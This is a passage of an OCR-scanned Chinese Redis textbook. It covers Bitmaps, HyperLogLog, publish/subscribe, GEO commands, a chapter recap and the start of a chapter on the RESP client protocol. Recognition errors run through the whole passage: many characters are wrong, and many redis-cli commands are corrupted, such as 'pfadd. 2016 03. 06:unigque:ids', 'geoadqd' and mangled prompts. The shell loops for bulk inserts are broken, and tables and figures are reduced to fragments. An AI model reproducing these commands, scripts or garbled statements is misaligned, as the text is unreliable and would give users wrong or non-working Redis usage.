在 2016-04-05 这 天 访问 过 ， 返 回 0 说 明 没 有 访问 过 : 





127.0.0.1:6379> getbit unique:users:2016-04-05 8 
(integer) 0 








由 于 offset=1000000 根 本 束 不 存在 ， 所 以 返回 结果 也 是 0: 





127.0.0.1:6379> getbit unique:users:2016-04-05 1000000 
(integer) 0 





3. 获 取 Bitmaps 指 定 范围 值 为 1 的 个 数 
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bitcount [start] [end] 





下 面 操作 计算 2016-04-0$ 这 天 的 独立 访问 用 户 数量 : 





127.0.0.1:6379> bitcount unique:users:2016-04-05 
(integer) 5 





[start] 和 [end] 代 表 起 始 和 结束 字 节 数 ， 下 面 操 作 计算 用 户 id 在 第 1 个 字 节 
到 第 3 个 字 节 之 间 的 独立 访问 用 户 数 ， 对 应 的 用 户 id 是 11，15，19。 





127.0.0.1:6379> bitcount unique:users:2016-04-05 1 3 
(integer) 3 





4.Bitmaps 间 的 运算 





bitop op destkey key[key....] 








bitop 古 一 个 复合 操作 ， 它 可 以 做 多 个 Bitmaps 的 and (交集 ) 、or (并 
集 ) 、not( 非 )、xor〔 寞 或 ) 操作 并 将 结果 保存 在 destkey 中 。 假 设 2016- 
04-04 访 问 网 站 的 userid=1，2，5，9， 如 图 3-13 所 示 。 


0 1 2 3 4 5 6 7 8 9 
图 3-13 ”2016-04-04 访 问 网 站 的 用 户 Bitmaps 


下 面 操 作 计 算出 2016-04-04 和 2016-04-03 两 天 都 访问 过 网 站 的 用 户 数 
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量 ， 如 图 3-14 所 示 。 





127.0.0.1:6379> bitop and unique:users:and:2016-04-04 03 unique: users:2016-04- 
unique:users:2016-04-03 

(integer) 2 

127.0.0.1:6379> bitcount unique:users:and:2016-04-04 03 

(integer) 2 





如 果 想 算出 2016-04-04 和 2016-04-03 任 意 一 天 都 访问 过 网 站 的 用 户 数量 
《例如 月 活跃 就 是 类 似 这 种 ) ， 可 以 使 用 or 求 并 集 ， 有 具体 命令 如 下 : 





127.0.0.1:6379> bitop or unique:users:or:2016-04-04 03 unique: 
users:2016-04-03 unique:users:2016-04-03 

(integer) 2 

127.0.0.1:6379> bitcount unique:users:or:2016-04-04 03 

(integer) 6 





一 一 一 一 


unique:users: 
wn] or 
0 1 2 3 二 5 0 df 8 9 


一 


unique:users: | 0 0 | 0 0 0 0 ] 
2016-04-03 


ey qunaoaaaaae 
图 3-14 利用 bitop and 命 令 计 算 两 天 都 访问 网 站 的 用 户 


5. 计 算 Bitmaps 中 第 一 个 值 为 targetBit 的 偏 移 量 





bitpos key targetBit [start] [endl] 
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下 面 操作 计算 2016-04-04 当 前 访问 网 站 的 最 小 用 户 id: 





127.0.0.1:6379> bitpos unique:users:2016-04-04 1 
(integer) 1 





除 此 之 外 ，bitops 有 两 个 选项 [startl 和 [end]， 分 别 代 表 起 始 字 节 和 绪 束 字 
节 ， 例 如 计算 第 0 个 字 节 到 第 1 个 字 节 之 间 ， 第 一 个 值 为 0 的 偏 移 量 ， 从 图 3- 
13 可 以 得 知 结果 是 id=0 的 用 户 。 








127.0.0.1:6379> bitpos unique:users:2016-04-04 0 0 1 
(integer) 0 
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3.5.3 ”Bitmaps 分 析 


假设 网 站 有 1 亿 用 户 ， 每 天 独立 访问 的 用 户 有 5 和 二 万 ， 如 果 每 天 用 集合 类 
型 和 Bitmaps 分 别 存储 活跃 用 户 可 以 得 到 表 3-3。 


表 3-3 ”set 和 Bitmaps 存 储 一 天 活跃 用 户 的 对 比 


每 个 用 户 id 占用 空间 需要 存储 的 用 户 量 

















数据 类 型 
集合 类 型 


Bitmaps 







全 部 内 存量 
x 50 000 000 = 400MB 
x 100 000 000 = 12.5MB 






64 位 
1 位 


很 明显 ， 这 种 情况 下 使 用 Bitmaps 能 节省 很 多 的 内 存 空 间 ， 尤 其 是 随 独 
时 间 推 移 市 省 的 内 存 还 是 非常 可 观 的 ， 见 表 3-4。 





表 3-4 set 和 Bitmaps 存 储 独 立 用 户 空间 对 比 


Set 





Bitmaps 


但 Bitmaps 并 不 是 万 金 油 ， 假 如 该 网 站 每 天 的 独立 访问 用 户 很 少 ， 例 如 
只 有 10 万 《大 量 的 僵尸 用 户 ) ， 那 么 两 者 的 对 比如 表 3-5 所 示 ， 很 显然 ， 这 
时 候 使 用 Bitmaps 就 不 太 合 适 了 ， 因 为 基本 上 大 部 分 位 都 是 0。 


表 3-5 set 和 Bitmaps 存 储 一 天 活跃 用 户 的 对 比 《〈 独 立 用 户 比 较 少 ) 


于 关 尖 于 每 个 userid 占用 空间 需要 存储 的 用 户 量 全 部 内 存量 


Bitmaps 100 000 000 1 位 x 100 000 000 = 12.5MB 
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3.6 HyperLogLog 





ae 是 一 种 新 的 数据 结构 〈 实 际 类 型 为 字符 串 类 型 ) ， 而 

一 种 基数 算法 ， 通 过 HyperLogLog 可 以 利用 极 小 的 内 存 空间 完成 独立 总 数 
的 统计 ， 数 据 集 可 以 是 一 、Email、ID 等 。HyperLogLog 提 供 了 3 个 命令 
pfadd、pfeount、pfmerge。 例 如 2016-03-06 的 访问 用 户 是 uuid-1、uuid-2、 





uuid-3、uuid-4，2016-03-05 的 访问 用 户 是 uuid-4、uuid-5、uuid-6、uuid-7， 如 
图 3-15 所 示 。 


一 一 一 一 一 


霜 uuid-1 uuid-3 
uuid-5 | Uuld-O | 
| uuid-4 ] 
| | :人 
uuid-7 uuid-2 


2016_03_05 2016_03_06 








图 3-15”2016-03-05 和 2016-03-06 的 访问 用 户 


Os 


HyperLogLog 的 算法 是 由 Philippe 
Flajolet (https://en.wikipedia.org/wiki/Philippe Flajolet) 在 The analysis of a 
near-optimal cardinality estimation algorithm 这 篇 论文 中 提出 ， 读 者 如 果 有 兴趣 
可 以 自行 阅读 。 


1. 添 加 
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pfadd key element [element .…] 








pfadd 用 于 向 HyperLogLog 添 加 元 素 ， 如 果 添 加 成 功 返回 1: 





12.1 :080.1:6379> pfadd. 2016 03. 06:unigque:ids uuid=1™" Muuids2" "uid=3™ uuid=4" 
(integer) 1 





2. 计 算 独 了 并 用 户 数 





pfcount key [key ...] 





pfcount 用 于 计算 一 个 或 多 个 HyperLogLog 的 独立 总 数 ， 例 如 
2016 03 06: unique: ids 的 独立 总 数 为 4: 





127.0.0.1:6379> pfcount 2016 03 06:unique:ids 
(integer) 4 





如 果 此 时 向 2016 03 06: unique: ids 插 入 uuid-1、uuid-2、uuid-3、uuid- 
90， 结 果 是 5 新 增 uuid-90) : 





127.0.0.1:6379> pfadd 2016 03 06:unique:ids uuid=1™" "uuid-2™ uuid=3™" uuid=90 
(integer) 1 

127.0.0.1:6379> pfcount 2016 03 06:unique:ids 

(integer) 5 








当前 这 个 例子 内 存 节 省 的 效果 还 不 是 很 明显 ， 下 面 使 用 脚本 癌 
HyperLogLog 插 入 100 万 个 id， 插 入 前 记录 一 下 info memory: 





127.0.0.1:6379> info memory 

# Memory 

used memory:835144 

used memory human:815.57K 

.. .向 2016 05 01:unique:;ids 插 入 100 万 个 用 户 ， 每 次 插入 1000 条 : 
elements="" 

key="2016 05 0l:unigque:Lids" 

for i in ‘seq 1 1000000 
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do 
lements="$ {elements} uuid-"${i} 





if [[ $((i%1000)) == ] ] ; 
then 
redis-cli pfadd ${key} ${elements} 
elements="" 
Ee 
done 





当 上 述 代 码 执 行 完 成 后 ， 可 以 看 到 内 存 只 增加 了 15K 左 厂 : 





127.0.0.1:6379> info memory 
# Memory 

used memory:850616 

used memory human:830.68K 





但 是 ， 同 时 可 以 看 到 pfecount 的 执行 结果 并 不 是 100 万 : 





127500 71203/9> Pfcount .2016.. 05 Ol:unique:ids 
(integer) 1009838 








可 以 对 100 万 个 uuid 使 用 集合 类 型 进行 测试 ， 代 码 如 下 : 





elements="" 
key="2016 05 0l:unique:ids:set" 
for i in ‘seq 1 1000000 





do 
lements="$ {elements} "${i} 
if [[ $((i%$1000)) == 0 ]1]; 
then 
redis-cli sadd ${key} ${elements} 
elements="" 
fi 
done 





可 以 看 到 内 存 使 用 了 84MB: 





127.0.0.1:6379> info memory 
# Memory 

used memory:88702680 

used memory human:84.59M 





但 独立 用 户 数 为 100 万 : 
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127120250 二 36379> Soard 2016° 05 01:unidque:idssset 
(integer) 1000000 





表 3-6 列 出 了 使 用 集合 类 型 和 HperLogLog 统 计 百 万 级 用 户 的 占用 空间 对 
Pes 


表 3-6 集合 类 型 和 HyperLogLog 占 用 空间 对 比 


数据 类 型 1 年 
集合 类 型 28G 
HyperLogLog SM 








可 以 看 到 ，HyperLogLog 内 存 占 用 量 小 得 惊人 ， 但 是 用 如 此 小 空间 来 估 
算 如 此 巨大 的 数据 ， 必 然 不 是 100% 的 正确 ， 其 中 一 定 存在 误差 率 。Redis 官 
方 给 出 的 数字 是 0.81% 的 失误 率 。 











pfmerge destkey sourcekey [sourcekey ...] 





pfmerge 可 以 求 出 多 个 HyperLogLog 的 并 集 并 赋值 给 destkey， 例 如 要 计算 
2016 年 3 月 5 日 和 3 月 6 日 的 访问 独立 用 户 数 ， 可 以 按照 如 下 方式 来 执行 ， 可 以 
看 到 最 终 独 立 用 户 数 是 7: 











1l270s0L8603/9> pfadd 2016 03 06unique:ids "wuld=L" uulid=2" "uid=3™ "yuuid=4" 
(integer) 1 

127.0.0.1:6379> pfadd 2016 03 05:unique:ids "uuid-4" "uuid-5" "uuid-6" "uuid-7" 
(integer) 1 

127.0.0.1:6379> pfmerge 2016 03 05 06:unique:ids 2016 03 05:unique:ids 

2016 03 06:unique:ids 











127:0.0s1:6379> pfcount 2016 03 05 O06:unique:ids 
(integer) 7 








HyperLogLog 内 存 占用 量 非 党 小 ， 但 是 存在 错误 率 ， 开 及 者 在 进行 数据 
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结构 选 型 时 只 需要 确认 如 下 两 条 即 可 : 
只 为 了 计算 独立 总 数 ， 不 需要 获取 单条 数据 。 


:可 以 容忍 一 定 误 差 率 ， 毕 竟 HyperLogLog 在 内 存 的 占用 量 上 有 很 大 的 优 
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3.7 及 布 订 阅 


Redis 提 供 了 基于 “发 布 /订阅 ”模式 的 消息 机 制 ， 此 种 模式 下 ， 消 妃 发 布 
者 和 订阅 者 不 进行 下 接 通 信 ， 发 布 者 客户 端 癌 指定 的 频道 channel) 发 布 消 
恩 ， 订 阅 该 频道 的 每 个 客户 并 部 可 以 收 到 该 消 居 ， 如 图 3-16 所 示 。Redis 提 
供 了 和 在 干 命令 文 持 该 功能 ， 在 实际 应 用 开发 时 ， 能 够 为 此 类 问题 提供 实现 方 








人 订阅 者 





图 3-16 ”Redis 发 布 订阅 模型 
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Redis 主 要 提供 了 发 布 消 息 、 订 阅 频 道 、 取 消 订 阅 以 及 按照 模式 订阅 和 


取消 订阅 等 命令 。 


1. 发 布 消 奶 





publish channel message 








下 面 操作 会 癌 channel: sports 频 道 发 布 一 条 消息 “Tim won the 
championship”， 返 回 结果 为 订阅 者 个 数 ， 因 为 此 时 没有 订阅 ， 所 以 返回 结果 
为 0: 





127.0.0.1:6379> publish channel:sports "Tim won the championship" 
(integer) 0 





2. 订 了 阅 消 息 





subscribe channel [channel ...] 





订阅 者 可 以 订阅 一 个 或 多 个 频道 ， 下 面 操作 为 当前 客户 端 订阅 了 


channel: sports 频 道 : 





127.0.0.1:6379> subscribe channel:sports 


Reading messages... (press Ctrl-C to quit) 
1) "subscribe" 
2) "channel:sports" 


3) (integer) 1 








此 时 劝 一 个 客户 问 发 布 一 条 消息 : 
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127.0.0.1:6379> publish channel:sports "James lost the championship" 
(integer) 1 





当前 订阅 者 客户 端 会 收 到 如 下 消息 : 





127.0.0.1:6379> subscribe channel:sports 
Reading messages... (press Ctrl-C to quit) 


1) "message" 
2) "channel:sports" 
3) "James lost the championship" 











如 果 有 多 个 客户 端 同 时 订阅 了 channel: sports， 整 个 过 程 如 图 3-17 所 








有 关 订 阅 命令 有 两 点 需要 注意 : 





客户 端 在 执行 订阅 命令 之 后 进入 了 订阅 状态 ， 只 能 接收 subscribe、 


psubscribe、unsubscribe、punsubscribe 的 四 个 命令 。 


新 开 司 的 订阅 客户 端 ， 无 法 收 到 该 频道 之 前 的 消息 ， 因 为 Redis 不 会 对 
发 布 的 消 轧 进行 持久 化 。 





L270.1 :0379>publish channel:sports p sport 


news will begin (integer)]l 
亡 \ 亡 / 





人 ee 
127.0.0.1:6379>subscribe channel:sports 127.0.0.1:6379>subscribe channel:sports 
Reading messages...(press Ctrl-C to quit) Reading messages...(press Ctrl-C to quit) 
] ) "subscribey ] ) "subscribe" 

2) "channel:sports" 2) "channel:sports" 

3) (integer)] 3) (integer)] 

1) "message" 1) "message" 

2) "channel:sports" 2) "channel:sports" 

3) "sport news w begin" 3) "sport news will begin" 


一 rCrfoofoeee 一 一 
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图 3-17 多 个 客户 端 同时 订阅 频道 channel: sports 
On 


和 很 多 专业 的 消息 队列 系统 (例如 Kafka、RocketMQ) 相 比 ，Redis 的 发 
布 订阅 略 显 粗 糙 ， 例 如 无 法 实现 消息 堆积 和 回调 。 但 胜 在 足够 简单 ， 如 果 当 
前 场景 可 以 容忍 的 这 些 缺 点 ， 也 不 失 为 一 个 不 错 的 选择 。 


3. 取 消 订 阅 





unsubscribe [channel [channel ...]] 





客户 端 可 以 通过 unsubscribe 命 令 取消 对 指定 频道 的 订阅 ， 取 消 成 功 后 ， 
不 会 再 收 到 该 频道 的 发 布 消 忆 : 








127.0.0.1:6379> unsubscribe channel:sports 
1) "unsubscribe" 

2) "channel:sports" 

3) (integer) 0 





4. 按 照 模 式 订阅 和 取消 订阅 





psubscribe pattern [pattern...] 
punsubscribe [pattern [pattern ...]] 





除了 subcribe 和 unsubscribe 命 令 ，Redis 命 令 还 支持 glob 风 格 的 订阅 命令 
psubscribe 和 取消 订阅 命令 punsubscribe， 例 如 下 面 操作 订阅 以 it 开头 的 所 有 


频道 : 





127.0.0.1:6379> psubscribe it* 


Reading messages... (press Ctrl-C to quit) 
1) "psubscribe" 
2) Wi 七 *" 
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3) (integer) 1 





5. 查 询 订 阅 


(1) 查看 活跃 的 频道 





pubsub channels [pattern] 





所 谓 活跃 的 频道 是 指 当前 频道 至 少 有 一 个 订阅 者 ， 其 中 [pattern] 是 可 以 
指定 具体 的 模式 : 





127.0.0.1:6379> pubsub channels 





1) "channel:sports" 

2) "channel:it" 

3) "channel:travel" 

127.0.0.1:6379> pubsub channels channel:*r* 
1) "channel:sports" 

2) "channel:travel" 








(2) 查看 频道 订阅 数 





pubsub numsub [channel ...] 





当前 channel: sports 频 道 的 订阅 数 为 2: 





127.0.0.1:6379> pubsub numsub channel:sports 
1) "channel:sports" 
2) (integer) 2 





(3) 碍 看 模式 订阅 数 





pubsub numpat 





当前 只 有 一 个 客户 并 通过 模式 来 订阅 : 
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127.0.0.1:6379> pubsub numpat 
(integer) 1 


一 
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3.7.2 ”使 用 场景 


聊天 室 、 公 告 牌 、 服 务 之 间 利 用 消息 解 炎 都 可 以 使 用 发 布 订阅 模式 ， 下 
面 以 简单 的 服务 解 耦 进行 说 明 。 如 图 3-18 所 示 ， 图 中 有 两 套 业务 ， 上 面 为 视 
频 管理 系统 ， 负 责 管理 视频 信息 :下面 为 视频 服务 面 癌 客户 ， 用 户 可 以 通 
各 种 客户 端 《〈 手 机 、 浏 览 器 、 接 口 ) 获取 到 视频 信息 。 








[视频 服务 | [视频 服务 ] 。 | 视频 服务 | 
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图 3-18 发布 订阅 用 于 视频 信息 变化 通知 


假如 视频 管理 员 在 视频 管理 系统 中 对 视频 信息 进行 了 变更 ， 和 希望 及 时 通 
知 给 视频 服务 器 ， 就 可 以 采用 及 布 订阅 的 模式 ， 发 布 视频 信息 变化 的 消 轧 到 
指定 频道 ， 视 频 服务 订阅 这 个 频道 及 时 更 新 视频 信息 ， 通 过 这 种 方式 可 以 有 
效 解决 两 个 业务 的 耦合 性 。 


视频 服务 订阅 video: changes 频 道 如 下 : 





subscribe video:changes 





视频 管理 系统 发 布 消息 到 video: changes 频 道 如 下 : 





publish video:changes "videol,video3,video5" 





` 当 视频 服务 收 到 消 恩 ， 对 视频 信息 进行 更 新 ， 如 下 所 示 : 





for video in videol,video3,video5 
update {video} 
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3.8 GEO 


Redis3.2 版 本 提供 了 GEO (地 理 信息 定位 〉 功 能 ， 支 持 存 储 地 理 位 置信 
息 用 来 实现 诸如 附近 位 置 、 摇 一 摇 这 类 依赖 于 地 理 位 置信 息 的 功能 ， 对 于 需 
要 实现 这 些 功 能 的 开发 者 来 说 是 一 大 福音 。GEO 功 能 是 Redis 的 另 一 位 作者 
Matt Stanclifft1 借 鉴 NoSQI 数 据 库 Ardbi 实 现 的 ，Ardb 的 作者 来 自 中 国 ， 它 
提供 了 优秀 的 GEO 功 能 。 








1. 增 加 地 理 位 置信 息 





geoadd key longitude latitude member [longitude latitude member ...] 











longitude、1latitude、member 分 别 是 该 地 理 位 置 的 经 度 、 纬 度 、 成 员 ， 表 
3-7 展 示 5 个 城市 的 经 纬度 。 


表 3-7 5 个 城市 经 纬度 


i EE 


cities: locations 是 上 面 5 个 城市 地 理 位 置信 息 的 集合 ， 现 癌 其 添加 北京 
的 地 理 位 置信 息 : 





127.0.0.1:6379> geoadqd cities:locations 116.28 39.55 beijing 
(integer) 1 





返回 结果 代表 添加 成 功 的 个 数 ， 如 果 cities: locations 没 有 包含 beijing， 
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那么 返回 结果 为 1， 如 果 已 经 存在 则 返回 0 





127.0.0.1:6379> geoadqd cities:locations 116.28 39.55 beijing 
(integer) 0 





如 果 需 要 更 新 地 理 位 置信 息 ， 仍 然 可 以 使 用 geoadd 命 令 ， 虽 然 返 回 结果 
为 0。geoadd 命 令 可 以 同时 添加 多 个 地 理 位 置信 息 : 





127.0.0.1:6379> geoadd cities:locations 117.12 39.08 tianjin 114.29 38.02 
shijiazhuang 118.01 39.38 tangshan 115.29 38.51 baoding 
(integer) 4 





2. 获 取 地 理 位 置信 息 





geopos key member [member ...] 








下 面 操作 会 获取 天 妾 的 经 维度 : 





127.0.0.1:6379> geopos cities:locations tianjin 
1) 1) "117.12000042200088501" 
2) "39.0800000535766543" 








3. 获 取 两 个 地 理 位 置 的 距离 。 





geodist key memberl1l member2 [unit] 








其 中 unit 代 表 返 回 结果 的 单位 ， 包 含 以 下 四 种 : 


-m (meters ) 代表 米 。 


:km (kilometers ) 代表 公里 。 


-mi (miles) 代表 英里 。 
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.位 (feet) 代表 尺 。 


下 面 操作 用 于 计算 天 津 到 北京 的 距离 ， 并 以 公里 为 单位 : 





127.0.0.1:6379> geodist cities:locations tianjin beijing km 
"89.2061"™ 











4. 获 取 指 定位 置 范围 内 的 地 理 信息 位 置 集合 














georadius key longitude latitude radiusm|km|ft|mi 
[withhash] [COUNT count] [ascldesc] [store key 

georadiusbymember key member radiusm|km|ft|mi 
[withhash] [COUNT count] [ascldesc] [store key 


withcoord] [withdist] 
[storedist key] 

withcoord] [withdist] 
[storedist key] 





[ 
] 
[ 
] 








georadius 和 georadiusbymember 两 个 命令 的 作用 是 一 样 的 ， 都 是 以 一 个 地 
理 位 置 为 中 心算 出 指定 半径 内 的 其 他 地 理 信息 位 置 ， 不 同 的 是 georadius 命 令 
的 中 心 位 置 给 出 了 有 具体 的 经 纬度 ，georadiusbymember 只 需 给 出 成 员 即 可 。 其 
中 radiusmlkmlftImi 是 必需 参数 ， 指 定 了 半径 〈 禹 单位 ) ， 这 两 个 命令 有 很 多 
可 选 参数 ， 如 下 所 示 : 





:Withcoord: 返回 结果 中 包含 经 纬度 。 





-withdist: 返回 结果 中 包含 离 中 心 节 点 位 置 的 距离 。 
withhash: 返回 结果 中 包含 geohash， 有 关 geohash 后 面 介 绍 。 


COUNT count: 指定 返回 结果 的 数量 。 





'ascldesc: 返回 结果 按照 离 中 心 节 点 的 距离 做 升序 或 者 降序 。 


store key: 将 返回 结果 的 地 理 位 置信 息 保 存 到 指定 键 。 
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storedist key: 将 返回 结果 离 中 心 节 点 的 距离 保存 到 指定 键 。 


下 面 操作 计算 五 座 城市 中 ， 距 离 北京 150 公 里 以 内 的 城市 : 





127.0.0.1:6379> georadiusbymember cities:locations beijing 150 km 
1) "beijing" 
2) "tianjin" 
3) "tangshan" 
4) "baoding" 





5. 获 取 geohash 





geohash key member [member ...] 








Redis 使 用 geohash 将 二 维 经 纬度 转换 为 一 维 字符 串 ， 下 面 操作 会 返回 
beijing 的 geohash 值 。 





127.0.0.1:6379> geohash cities:locations beijing 
1) "wx4ww02w070" 





geohash 有 如 下 特点 : 


“GEO 的 数据 类 型 为 zset，Redis 将 所 有 地 理 位 置信 息 的 geohash 存 放 在 zset 





127.0.0.1:6379> type cities:locations 
zset 





:字符 串 越 长 ， 表 示 的 位 置 更 精确 ， 表 3-8 给 出 了 字符 串 长 上 度 对 应 的 精 
度 ， 例 如 geohash 长 度 为 9 时 ， 精 度 在 2 米 左 右 。 





表 3-8 ”geohash 长 度 与 精度 对 应 关系 
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geohash 长 度 精确 度 (km ) 


1 2 500 
630 

3 78 

4 20 

5 2.4 

6 0.61 
0.076 
8 0.019 
9 0.002 


:两 个 字符 串 越 相似 ， 它 们 之 间 的 距离 越 近 ，Redis 利 用 字符 串 前 级 匹配 
算法 实现 相关 的 命令 。 


:geohash 编 码 和 经 纬度 是 可 以 相互 转换 的 。 
Redis 正 是 使 用 有 序 集合 并 结合 geohash 的 特性 实现 了 GEO 的 若干 命令 。 


6. 删 除 地 理 位 置信 息 





zrem key member 





GEO 没 有 提供 删除 成 员 的 命令 ， 但 是 因为 GEO 的 底层 实现 是 xset， 上 所 以 
可 以 借用 zrem 命 令 实现 对 地 理 位 置信 息 的 删除 。 


[1 | https://matt.sh/ 
[2| https://github.com/yinqgiwen/ardb 
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[3] https://en.wikipedia.org/wiki/Geohash 
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3.9 ”本 章 重 点 回顾 


) 慢 查 询 中 的 两 个 重要 参数 slowlog-log-slower-than 和 slowlog-max- 


len。 


Wa 


2) 慢 查 询 不 包含 命令 网 络 传输 和 排队 时 间 。 





Wa 


3) 有 必要 将 慢 奋 询 定期 存放 。 





Ma 


4) redis-cli 一 些 重 要 的 选项 ， 例 如 --latency、 一 bigkeys、-i 和 -r 组 合 。 


Wo 


5) redis-benchmark 的 使 用 方法 和 重要 参数 。 


Wu 


6) Pipeline 可 以 有 效 减少 RITT 次 数 ， 但 每 次 Pipeline 的 命令 数量 不 能 无 节 





Me 


7) Redis 可 以 使 用 Lua 脚 本 创造 出 原子 、 高 效 、 自 定义 命令 组 合 。 


Wo 


8) Redis 执 行 Lua 脚 本 有 两 种 方法 : eval 和 evalsha。 


Wa 


9) Bitmaps 可 以 用 来 做 独立 用 户 统计 ， 有 效 节 省 内 存 。 





10〉Bitmaps 中 setbit 一 个 大 的 偏 移 量 ， 由 于 申请 大 量 内 存 会 导致 阻 寨 。 








11) HyperLogLog 里 然 在 统计 独立 总 量 时 存在 一 定 的 误 产 ， 但 是 节省 的 
内 存量 十 分 惊人 。 


12) Redis 的 发 布 订阅 机 制 相 比 许多 专业 的 消 轧 队列 系统 功能 较 弱 ， 不 
具备 堆积 和 回调 消 妃 的 能 力 ， 但 胜 在 足够 简单 。 
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13) Redis3.2 提 供 了 GEO 功 能 ， 用 来 实现 基于 地 理 位 置信 息 的 应 用 ， 但 
底层 实现 是 zset。 


240 


第 4 章 ” 客 尸 凯 


Redis 是 用 单线 程 来 处 理 多 个 客户 端的 访问 ， 因 此 作为 Redis 的 开发 和 运 
维 人 员 需 要 了 解 Redis 服 务 端 和 客户 问 的 通信 协议 ， 以 及 主流 编程 语言 的 
Redis 客 户 端 使 用 方法 ， 同 时 还 需要 了 解 客户 端 管理 的 相应 API 以 及 开发 运 维 
中 可 能 遇 到 的 问题 。 本 章 将 对 这 些 内 容 进行 详细 分 析 ， 相 信 通 过 本 章 的 学 
习 ， 读 者 会 对 客户 端的 相关 知识 有 一 个 更 为 全 面 的 了 解 ， 本 章 内 容 如 下 : 





.客户 端 通信 协议 
Java 客户 端 Jedis 


.Python 客户 端 redis-py 
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4.1 客户 端 通 信 协 议 





几乎 所 有 的 主流 编程 语言 都 有 Redis 的 客户 端 (http:/redis.io/clients) ， 
不 考虑 Redis 非 常 流行 的 原因 ， 如 果 站 在 技术 的 角度 看 原因 还 有 两 个 : 第 
一 ， 客 户 端 与 服务 端 之 间 的 通信 协议 是 在 TCP 协 议 之 上 构建 的 。 第 二 ， 
Redis 制 定 了 RESP (REdis Serialization Protocol，Redis 序 列 化 协议 ) 实现 客 
户 端 与 服务 端的 正常 交互 ， 这 种 协议 简单 高 效 ， 既 能 够 被 机 器 解析 ， 又 容易 
被 人 类 识别 。 例 如 客户 端 发 送 一 条 set hello world 命 令 给 服务 端 ， 按 照 RESP 
的 标准 ， 客 户 端 需要 将 其 封装 为 如 下 格式 〈 每 行 用 na 分 隔 ) : 




















这 样 Redis 服 务 端 能 够 按照 RESP 将 其 解析 为 set hello world 命 令 ， 执 行 后 
回复 的 格式 如 下 : 





+OK 





可 以 看 到 除了 命令 (set hello world) 和 返回 结果 (OK) 本身 还 包含 了 
一 些 特殊 字符 以 及 数字 ， 下 面 将 对 这 些 格式 进行 说 明 。 


1 .发送 命令 格式 


RESP 的 规定 一 条 命令 的 格式 如 下 ，CRLF 代 表 'Arm"。 





x < 参数 数 量 > CRLF 
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$< 参数 1 的 字 节 数量 > CRLF 
< 参数 1> CRLF 





$< 参数 N 的 字 节 数量 > CRLF 
< 参数 N> CRLF 





依然 以 set hell world 这 条 命令 进行 说 明 。 


参数 数量 为 3 个 ， 因 此 第 一 行为 : 





Re! 








参数 字 节 数 分 别 是 355， 因 此 后 面 几 行为 : 




















有 一 点 要 注意 的 是 ， 上 面 只 是 格式 化 显示 的 结果 ， 实 际 传输 格式 为 如 下 
代码 ， 整 个 过 程 如 图 4-1 所 示 : 





*3\r\n$3\r\nSET\r\n$5\r\nhello\r\n$5\r\nworld\r\n 








2. 返 回 结果 格式 


Redis 的 返回 结果 类 型 分 为 以 下 五 种 ， 如 图 4-2 所 示 : 


:状态 回复 : 在 RESP 中 第 一 个 字 节 为 "+"。 


.错误 回复 ， 在 RESP 中 第 一 个 字 节 为 "-"。 


整数 回复 : 在 RESP 中 第 一 个 字 节 为 ": "。 
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字符 串 回复 : 在 RESP 中 第 一 个 字 节 为 "$"。 


` 多 条 字符 串 回 复 ， 在 RESP 中 第 一 个 字 市 为 "*"。 


NENISANE NRET\VENVISSNENn 
hello\r\n$5\r\nworld\r\n 


一 


Redis 


client 


十 OK 


图 4-1 客户 并 和 服务 端 使 用 RESP 标 准 进行 数据 交互 


Te TE 


Redis 


“EE 侈 | ts set 


用 回复 . EE 例 由 错 保 命令 


< 


字符 串 回复 : 


条 寄 符 串 回 复 : ， 例 风 Imget 


client [ee | 
基数 回复 . : | Yo 1mCT 





图 4-2 ”Redis 五 种 回复 类 型 在 RESP 下 的 编码 


我 们 知道 redis-cli 只 能 看 到 最 终 的 执行 结果 ， 那 是 因为 redis-cli 本 里 就 是 
女 照 RESP 结果 解析 的 ， 所 以 看 不 到 中 间 结 果 ，redis-cli.c 源 码 对 命令 结 


4 
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果 的 解析 结构 如 下 : 





static sds cliFormatReplyTTY (redisReply *r, char *prefix) { 
sds out = sdsempty(); 
switch (r->type) { 
















































































CaSe REDIS REPLY ERROR: 
/ /” 处 理 错误 回复 

Case REDIS REPLY STATUS: 
/ / ”处理 状态 回复 

Case REDIS REPLY INTEGER: 
/ / 处理 整 数 回 复 

Case REDIS REPLY _ STRING : 
/ /处理 字符 串 回复 

case REDIS REPLY NIL: 
/ / ”处 理 空 

















所 | 
工 


case 'DIS REPLY ARRAY: 
/ / ”处 理 多 条 字符 串 回复 


return out; 























例如 执行 set hello world， 返 回 结果 是 OK， 并 不 能 看 到 加 号 : 





127.0.0.1:6379> set hello world 
OK 





为 了 看 到 Redis 服 务 端 返回 的 “真正 ”结果 ， 可 以 使 用 nc 命令 、telnet 命 
令 、 甚 至 写 一 个 socket 程 序 进行 模拟 。 下 面 以 nc 命令 进行 演示 ， 首 先 使 用 
nc127.0.0.16379 连 接 到 Redis: 





i 127 ,001l 379 





状态 回复 : set hello world 的 返回 结果 为 +OK: 





set hello world 
+OK 





错误 回复 : 由 于 sethx 这 条 命令 不 人 存在， 那么 返回 结果 就 是 "-" 号 加 上 错 


误 消 县 。 
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sethx 
-ERR unknown command "Sethx'" 








整数 回复 : 当 命 令 的 执行 结果 是 整数 时 ， 返 回 结果 就 是 整数 回复 ， 例 如 
incr、exists、del、dbsize 返 回 结果 都 是 整数 ， 例 如 执行 incr counter 返 回 结 果 
束 是 “: ”加 上 整数 : 





incr counter 
ey 





字符 串 回复 : 当 命 令 的 执行 是 字符 串 时 ， 返 回 结果 就 是 字符 串 回 
复 。 例 如 get、hsget 返 回 结 果 都 是 字符 串 ， 例 如 get hello 的 结 
为 “$SNmworldrm>: 





get hello 
$5 


world 








多 条 字符 串 回 复 : 当 命 令 的 执行 结果 是 多 条 字 
条 字符 串 回 复 。 例 如 mget、hgetall、lrange 等 命令 会 返 
操作 : 


人 符 捉 时 ， 返 回 结果 束 是 多 
回 多 个 结果 ， 例 如 下 面 


首先 使 用 mset 设 置 多 个 键 值 对 : 





mset java jedis Python redis-py 
+OK 





然后 执行 mget 命 令 返 回 多 个 结果 ， 第 一 个 和 2 代表 返回 结果 的 个 数 ， 后 面 
的 格式 是 和 字符 串 回 复 一 致 的 : 





mget java Python 
*2 
$5 
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有 一 点 需要 注意 ， 无 论 是 字符 串 回 复 还 是 多 条 字符 串 回 复 ， 如 果 有 mil 
值 ， 那 么 会 返回 $-1。 





例如 ， 对 一 个 不 存在 的 键 执行 gt 操作， 返回 结果 为 : 





get not exist key 


$= 





如 果 批 量 操作 中 包含 一 条 为 nil 值 的 结果 ， 那 么 返回 结果 如 下 : 





mget hello not exist key java 
*3 





